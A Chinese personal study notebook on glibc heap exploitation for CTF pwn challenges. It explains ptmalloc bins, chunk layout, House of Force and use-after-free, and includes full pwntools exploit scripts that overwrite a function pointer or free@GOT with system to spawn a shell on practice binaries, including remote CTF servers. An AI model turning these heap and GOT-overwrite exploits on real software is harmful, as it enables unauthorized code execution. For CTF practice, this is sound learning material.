堆学习记录

这一块只是随便记一下,写的特别乱,如果有需要可以自己翻阅

patchelf使用

patchelf --replace-needed libc.so.6 /lib/x86_64-linux-gnu/2.23-0ubuntu11.3_amd64/libc-2.23.so ./pwn

patchelf --set-interpreter ld-2.23.so --set-rpath /lib/x86_64-linux-gnu/2.23-0ubuntu11.3_amd64 ./pwn

exp模板

# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
shell = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./2a1"
ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')
libc = ELF(libc_path)
elf = ELF(elf_path)

#p = remote("node3.buuoj.cn",26000)
context.log_level = 'debug'
#p = process([elf_path],env={"LD_PRELOAD":libc_path})

堆入门

https://blog.csdn.net/qq_41453285/article/details/97613588

fastbin

fastbins为单链表存储。unsortedbin、smallbins、largebins都是双向循环链表存储。

并且free掉的chunk,如果大小在0x20~0x80之间会直接放到fastbins上去,大于0x80的会放到unsortedbin上,然后进行整理。

fastbins是单向链表存储

fastbins的存储采用后进先出(LIFO)的原则:后free的chunk会被添加到先free的chunk的后面;同理,通过malloc取出chunk时是先去取最新放进去的。

fastbins中的所有chunk的bk是没有用到的

并且fastbins比较特殊,一个fastbin链第一个chunk指向于一个特殊的“0”,然后后面接的是后free的chunk……以此类推,最后一个chunk再由arena的malloc_state的fastbinsY数组所管理

image-20210728150603897

unsortedbin

  • free的chunk大小如果大于0x80会放到unsortedbin上。
  • unsortedbin存储这些chunk是使用双向循环链表进行存储的
// 一个 chunk 的完整结构体
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
// 正在使用的 chunk 布局
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |             Size of previous chunk, if allocated            | |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |             Size of chunk, in bytes                       |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |             User data starts here...                          .
      .                                                               .
      .             (malloc_usable_size() bytes)                      .
      .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |             Size of chunk                                     |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

在这里插入图片描述

由malloc申请的内存空间被称作chunk,而当程序申请的chunk被free时会被加入到相应的空闲管理列表(bin)中

pre_size:

前一个chunk块的大小,如果chunk_size的P位为1则pre_size无效,上个chunk可以使用pre_size的空间。(前一个chunk块的大小,指的是低地址的chunk)

chunk_size:

当前chunk的大小,由于chunk是8字节对齐的,所以后3位分别为,A(是否为main_arena,即主线程)、M(该chunk是否由mmap分配),P(前一个chunk是否被分配,故经常会看到chunk_size比chunk大1字节)。

mem:

用户申请的空间,即malloc 申请得到的内存指针,其实指向 mem 的起始处。chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
fd 指向下一个(非物理相邻)空闲的 chunk
bk 指向上一个(非物理相邻)空闲的 chunk
通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理

大小:

Chunk的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是
2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。

故在32位中最小的chunk(min_size)的大小为:8+4+4=16字节,其中8字节为用户使用的空间,4字节为pre_size,4字节为chunk_size

64位为:16+8+8=32字,16字节为用户使用的空间,8字节为pre_size,8字节为chunk_size(最小的chunk意味着只要用户申请的size小于min_size,得到的空间都为min_size)

请求分配 chunk 大小分配公式是 chunk_size = (用户请求大小 + (2 - 1) * sizeof(INTERNAL_SIZE_T)) align to 2 * sizeof(size_t)

空闲管理列表(bin):

用户释放掉的 chunk 不会马上归还给系统,ptmalloc会统一管理 heap 和 mmap 映射区域中的空闲的chunk。在具体的实现中,ptmalloc 采用分箱式方法对空闲的chunk 进行管理。首先,它会根据空闲的 chunk 的大小以及使用状态将 chunk 初步分为4类:fast bins,small bins,large bins,unsorted bin。每类中仍然有更细的划分,相似大小的 chunk 会用双向链表链接起来。也就是说,在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的chunk。在这里我们主要学习的两种bin:fastbins和unsorted bin。

  • astbinY数组:大小为10。记录的是fast bin链
  • bins数组:大小为129。记录的是unsorted bin(1)、small bin(263)、large bin链(64126)

fastbins:

fast bin的个数——10个

每个fast bin都是一个单链表(只使用fd指针)

glibc以单链表结构对其进行管理,且每个bin采取的是LIFO(后进先出,跟栈类似)的策略,即最近释放的chunk会被优先分配,同时fastbin中的chunk的P位设为1,不会进行合并操作。

fastbin大小(注:以下的大小都为mem的大小,实际chunk的空间还要加上chunk_head(64位为16字节,32位为8字节))

fastbins中最多有10个bin:
在这里插入图片描述

chunk的大小在32字节128字节(0x200x80)的chunk称为“fast chunk”(大小不是malloc时的大小,而是在内存中struct malloc_chunk的大小,包含前2个成员)·

  • 每个fast bin链表都是单链表(使用fd指针)。因此,fast bin中无论是添加还是移除fast chunk,都是对“链表尾”进行操作,而不会对某个中间的fast chunk进行操作

  • unsorted bin

    只有一个 unsorted bin, 进行内存分配查找时先在 Fastbins, small bins 中查找, 之后会在 unsorted bin 中进行查找, 并整理 unsorted bin 中所有的 chunk 到 Bins 中对应的 Bin. unsorted bin 位于 bin[1].

    unsorted_bin->fd 指向双向环链表的头结点, unsorted_bin->bk 指向双向环链表的尾节点, 在头部插入新的节点.

    Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO

    small bins, large bins

    Small Bin

    small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 * SIZE_SZ *index,具体如下

    下标 SIZE_SZ=4(32 位) SIZE_SZ=8(64 位)
    2 16 32
    3 24 48
    4 32 64
    5 40 80
    x 24x 28x
    63 504 1008

    对于 chunk size < 512, 是存放在 small bins, 有 64 个, 每个 bin 是以 8 bytes 作为分割边界, 也就相当于等差序列, 举个例子: small bins 中存放的第一个 chunk 双向环链表 全部都是由 size 为 16 bytes 大小的 chunk 组成的, 第二个 chunk 双向环链表 都是由 size 为 16+8 bytes 大小的 chunk 组成的. 但是对于 large bins, 分割边界是递增的, 举个简单例子: 前 32 个 large bins 的分割边界都是 64 bytes, 之后 16 个 large bins 的分割边界是 512 bytes. 以上仅为字长为 32 位的情况下, 具体请参考如下.

    eglibc-2.19/malloc/malloc.c:1436
    /*
       Indexing
    
        Bins for sizes < 512 bytes contain chunks of all the same size, spaced
        8 bytes apart. Larger bins are approximately logarithmically spaced:
    
        64 bins of size       8
        32 bins of size      64
        16 bins of size     512
         8 bins of size    4096
         4 bins of size   32768
         2 bins of size  262144
         1 bin  of size what's left
    
        There is actually a little bit of slop in the numbers in bin_index
        for the sake of speed. This makes no difference elsewhere.
    
        The bins top out around 1MB because we expect to service large
        requests via mmap.
    
        Bin 0 does not exist.  Bin 1 is the unordered list; if that would be
        a valid chunk size the small bins are bumped up one.
     */

top chunk 位于最高地址.

large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。此外,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致,具体如下:

数量 公差
1 32 64B
2 16 512B
3 8 4096B
4 4 32768B
5 2 262144B
6 1 不限制

寻找堆分配函数

realloc malloc calloc

通常来说堆是通过调用 glibc 函数 malloc 进行分配的,在某些情况下会使用 calloc 分配。calloc 与 malloc 的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的。

calloc(0x20);
//等同于
ptr=malloc(0x20);
memset(ptr,0,0x20);
1234

除此之外,还有一种分配是经由 realloc 进行的,realloc 函数可以身兼 malloc 和 free 两个函数的功能。
realloc 的操作并不是像字面意义上那么简单,其内部会根据不同的情况进行不同操作
当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时
如果申请 size > 原来 size
如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小
如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)
如果申请 size < 原来 size
如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变
如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分
当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)
当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

free函数

free()函数free掉chunk时先判断 chunk 的大小和所处的位置,若 chunk_size <= max_fast,并且 chunk 并不位于 heap 的顶部,也就是说并不与 top chunk 相邻,则将 chunk 放到 fast bins 中,chunk 放入到 fast bins 中,释放便结束了,程序从 free()函数中返回。

ptmalloc 的响应

判断所需分配chunk的大小是否满足chunk_size <= max_fast (max_fast 默认为 64B), 如果是的话,先尝试在 fast bins 中取一个所需大小的 chunk 分配给用户。

前一个块(由当前块头指针加pre_size确定),后一个块(由当前块头指针加size确定)。从而,在合并堆块时会存在两种情况:向后合并向前合并。当前一个块和当前块合并时,叫做向后合并。当后一个块和当前块合并时,叫做向前合并

危险函数

输入

  • gets,直接读取一行,忽略 ‘\x00’
  • scanf
  • vscanf

输出

  • sprintf

字符串

  • strcpy,字符串复制,遇到 ‘\x00’ 停止
  • strcat,字符串拼接,遇到 ‘\x00’ 停止
  • bcopy

确定填充长度

这一部分主要是计算我们开始写入的地址与我们所要覆盖的地址之间的距离。 一个常见的误区是 malloc 的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。

HOF

top chunk的作用是作为后备堆空间

篡改top chunk的size为-1,然后劫持到任意内存

这种攻击手段成为House of force(hof),能够进行hof攻击需要满足两个条件:

  1. 用户能够篡改top chunk的size字段(篡改为负数或很大值)
  2. 用户可以申请任意大小的堆内存(包括负数)

main_arena

malloc_hook位于main_arena(如果不知道main_arena地址可以直接使用命令 x/20xg &main_arena 查看内存和地址)往上,offset = 0x10:

unsortedbin —>main_arena+88的地址

Fast bin

在这里插入图片描述
在chunk被free的时候如果大小小于0x80会被放入fast bin
需要注意的是这里的prive_inuse位不会置0
可以在这里泄露出来heap的地址。

Unsort bin

在这里插入图片描述
在chunk合并之后大于0x80或者是大于0x80的chunk被释放之后会放入unsort bin
这里是双向链表连接
其中main_arena和libc_base之间的偏移是固定的,可以用来leak libc_base

off by one:单字节溢出

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节

**struct.pack(****format***, *v1*, *v2*, *…***)***

返回一个字节对象,该对象包含根据格式字符串格式打包的值v1、v2,…。参数必须与格式要求的值完全匹配。

***eg:h表示*short,l表示long; *‘hhl’表示后面有三个参数,依次是*short,short,long类型

**c表示 char,bytes of length 1(长度的byte数组),i表示integer 整数;’ci’*表示后面有两个个参数,依次是*char,integer 类型

>>> from struct import *
>>> pack('hhl', 1, 2, 3)
>>> pack('ci', b'*', 0x12131415)

bamboobox

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct

sh = process('./bamboobox')
elf = ELF('./bamboobox')
#context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()


def show_item():
    pass


def add_item(size, name):
    sh.sendline(str(2))
    sh.recvuntil('Please enter the length of item name:')
    sh.sendline(str(size))
    sh.recvuntil('Please enter the name of item:')
    sh.sendline(name)
    sh.recvuntil('Your choice:')


def change_item(index, length, name):
    sh.sendline(str(3))
    sh.recvuntil('Please enter the index of item:')
    sh.sendline(str(index))
    sh.recvuntil('Please enter the length of item name:')
    sh.sendline(str(length))
    sh.recvuntil('Please enter the new name of the item:')
    sh.sendline(name)
    sh.recvuntil('Your choice:')


def remove_item(index):
    sh.sendline(str(4))
    sh.recvuntil('Please enter the index of item:')
    sh.sendline(str(index))
    sh.recvuntil('Your choice:')


magic_func_addr = 0x400d49

# 清除流
sh.recvuntil('Your choice:')

# 修改top chunk

# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108, '')  # 申请的这个chunk的size为 0x110
change_item(0, 0x108 + 8 + 1, 'a'*0x108 +
            struct.pack('q', -1))  # top_chunk->size = -1

# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140, '')
add_item(0x18, 'a'*8 + p64(magic_func_addr))

# 退出程序,触发magic函数
sh.sendline('5')
sh.interactive()

# 删除pid文件
os.system("rm -f pid")

32位

image-20210131225707728

栈至顶向下扩展,并且栈是有界的。堆至底向上扩展,mmap 映射区 域至顶向下扩展,mmap 映射区域和堆相对扩展,直至耗尽虚拟地址空间中的剩余区域,这 种结构便于 C 运行时库使用 mmap 映射区域和堆进行内存分配

64位

在 64 位模式下各个区域的起始位置是什么呢?对于 AMD64 系统,内存布局采用经典 内存布局,text 的起始地址为 0x0000000000400000,堆紧接着 BSS 段向上增长,mmap 映射 区域开始位置一般设为 TASK_SIZE/3。

image-20210131225918028

上图是 X86_64 下 Linux 进程的默认内存布局形式,这只是一个示意图,当前内核默认 配置下,进程的栈和 mmap 映射区域并不是从一个固定地址开始,并且每次启动时的值都 不一样,这是程序在启动时随机改变这些值的设置,使得使用缓冲区溢出进行攻击更加困难

2021V&Nctf:

White_Give_Flag:

例行检查,64位程序,保护全开6

在这里插入图片描述

本地试运行一下,看着像堆

在这里插入图片描述

64位ida载入

main()

在这里插入图片描述

sub_E5A

在这里插入图片描述

qword_2010120数组中存放着5个字符串,对应菜单的5个选项。而且这个函数执行完后会在chunk中遗留flag的值

sub_F07

在这里插入图片描述

读取菜单选项的函数返回的是 read() 的返回值⽽不是 atoi() 的返回值,根据返回值打印
qword_202120 中的字符串

通过add函数,可以看到堆的指针存放在qword_202100中,qword_202120 上⽅是堆指针,我们通过puts(qword_202120[-1])来输出chunk[3]里的内容

在这里插入图片描述

malloc 随机 size 写 flag 时,size 的范围是 [0x300, 0x500]。add 到 chunk[3] 时申请⼀个在范围内的size,如果恰好是带有 flag 的 chunk size,就可以把这个 chunk 取出来,然后 edit 填充 0x10 个字
符, puts(qword_202120[-1]) 就能打印出 flag。
size 范围不⼤,可以爆破。
puts(qword_202120[-1]) 需要使 read() 返回 0,也就是读到 EOF。
可以 ctrl+d,虽然需要爆破,但是纯⼿动操作理论上可⾏(不建议使⽤)。
pwntools 可以使⽤ shutdown_raw(‘send’) 关闭管道的 send ⽅向,使远程 read() 读到 EOF,返回 0。

from pwn import *
def menu(choice):
    r.recvuntil('choice:')
    r.sendline(choice)
def add(size):
    menu('')
    r.recvuntil('size:\n')
    r.sendline(str(size))
def edit(index,data):
    menu('111')
    r.recvuntil('index:\n')
    r.sendline(str(index))
    r.recvuntil('Content:\n')
    r.send(data)
def delete(index):
    menu('11')
    r.recvuntil('index:\n')
    r.sendline(str(index))

def show(index):
    menu('1')
while True:
    r = remote("node4.buuoj.cn",39123)
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x310)
    edit(3,'x'*0x10)
    r.recvuntil('choice:')
    r.shutdown_raw('send')
    flag = r.recvline()
    log.info(flag)
    if 'vnctf{' in flag or '}' in flag:
 	    exit(0)
    r.close()
    sleep(1)

漏洞点在于申请chunk存储了flag信息,在free时未清空,那么在接下来我们申请chunk的时候如果能够申请到跟free过的chunk大小一致,那么存储着flag的chunk就可被申请回来,即可读出flag

ff

checksec一下

image-20210410162550132

保护全开

ida查看

image-20210410162636851

推测大概是chunk的申请、释放、打印、编辑,其中show函数只能够调用一次,edit函数只能调用两次。比较特殊的一个点就是该程序使用的GLIBC 2.32

UAF漏洞

1、内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
2、内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
3、内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

0804b000-0804c000 rw-p 00000000 00:00 0          [heap]
  • 0x0804b000 是相应堆的起始地址
  • rw-p 表明堆具有可读可写权限,并且属于隐私数据。
  • 00000000 表明文件偏移,由于这部分内容并不是从文件中映射得到的,所以为 0。
  • 00:00 是主从 (Major/mirror) 的设备号,这部分内容也不是从文件中映射得到的,所以也都为 0。
  • 0 表示着 Inode 号。由于这部分内容并不是从文件中映射得到的,所以为 0。

fastbin

#!/usr/bin/python2
#coding=utf-8

from pwn import *
 
#p = process('./easyheap')
p = remote('node4.buuoj.cn' ,27189)
elf = ELF('./easyheap')

context.log_level = 'debug' # 设置 Log 等级

def debug(): # 调试函数 attach to gdb
	gdb.attach(p)
	pause()

def create(size,content): # 新建 heap,地址保存在 heaparray 
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap:')
	p.send(str(content))
 
def edit(index,size,content): # 修改 heap 内容,存在堆溢出点
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap : ')
	p.send(str(content))
 
def free(index): # 释放 heap
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))
 
free_got = elf.got['free']
 
create(0x68,'aaaa') # chunk 0
create(0x68,'bbbb') # chunk 1
create(0x68,'cccc') # chunk 2
free(2) # 释放 heap2 让其进入 fastbin

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
# 修改 heap1 内容为 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指针 
# 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell 
# 为什么是 0x6020b0 - 3? 这是调试出来的
# FakeChunk 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
# 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与 bin 链表 size 一致)
# 这样就伪造出了一个 chunk

create(0x68,'aaaa') # chunk 2 (从 fastbin 里取出的)

create(0x68,'c') # chunk 3 / idx = 0 (Fake)

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先记录的是 chunk 3 的地址) 覆写成 free_got 地址
# 这就是要在 heaparry 附近构造 Fakeheap 的原因
# 确定具体的偏移量需要动态调试 


payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
# free_got 地址的作用在这里体现了
# 由于 edit() 的目标是 heaparry[] 里面的地址
# 那么本次操作将修改 free_got 为 system_plt 的地址

free(1)
# 当释放 chunk1 (内容为 '/bin/sh\0x00') 的时候
# 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
# 最后程序执行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell
 
p.interactive()

这里我们能使用的就一个堆溢出,这样就可以通过溢出来伪造堆块或者伪造指针。既然我们的攻击方法是改写got表,就应该先把堆块的指针改写为某个函数的got地址,这样在edit的时候就是改写了got里面的内容。

这里用到的攻击方式是house of spirit ,利用fastbin和堆溢出,把在fastbin链尾的堆块的fd指针(正常情况下是0x0)改写为我们精心找到的fake chunk的地址,注意这个地址要在0x6020e0(堆块指针表)前面找,这样我们malloc到fake chunk之后,通过edit就能覆写堆块指针。

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

#sh = process('./easyheap')
sh = remote("node3.buuoj.cn","28598")

sh.sendafter('Your choice :','1\n')   #0 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')

sh.sendafter('Your choice :','1\n')   #1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')

sh.sendafter('Your choice :','3\n')   # free 1
sh.sendafter('Index :','1\n')

x = p64(0x0) * 13 + p64(0x71)  + p64(0x6020ad) + p64(0x0)
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)

#gdb.attach(sh)

sh.sendafter('Your choice :','1\n')      #1 heap
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')


#gdb.attach(sh)

sh.sendafter('Your choice :','1\n')   #2 heap  (0x6020ad)
sh.sendafter('Size of Heap : ','96\n')
sh.sendafter('Content of heap:','\n')

x = 'A' * 35 + p64(0x602018)   #free_got
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','2\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)


x = p64(0x400700)   #system_plt
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','0\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)

x = '/bin/sh' + '\x00'
sh.sendafter('Your choice :','2\n')
sh.sendafter('Index :','1\n')
sh.sendafter('Size of Heap : ','1000\n')
sh.sendafter('Content of heap : ',x)


sh.sendafter('Your choice :','3\n')
sh.sendafter('Index :','1\n')

#gdb.attach(sh)

sh.interactive()

linux沙箱

linux seccomp

  1. linux的沙箱机制,可以限制进程对系统调用的访问,从系统调用号,到系统调用的参数,都可以检查和限制
  2. 有两种模式
    1. SECCOMP_MODE_STRICT, 进程只能访问read,write,_exit,sigreturn系统调用
    2. SECCOM_MODE_FILTER,通过设置bpf规则,来过滤和检查系统调用号,和系统调用参数,来决定对进程访问系统调用的处理
  3. systemd,container都使用seccomp机制来限定对进程的对系统调用的访问权限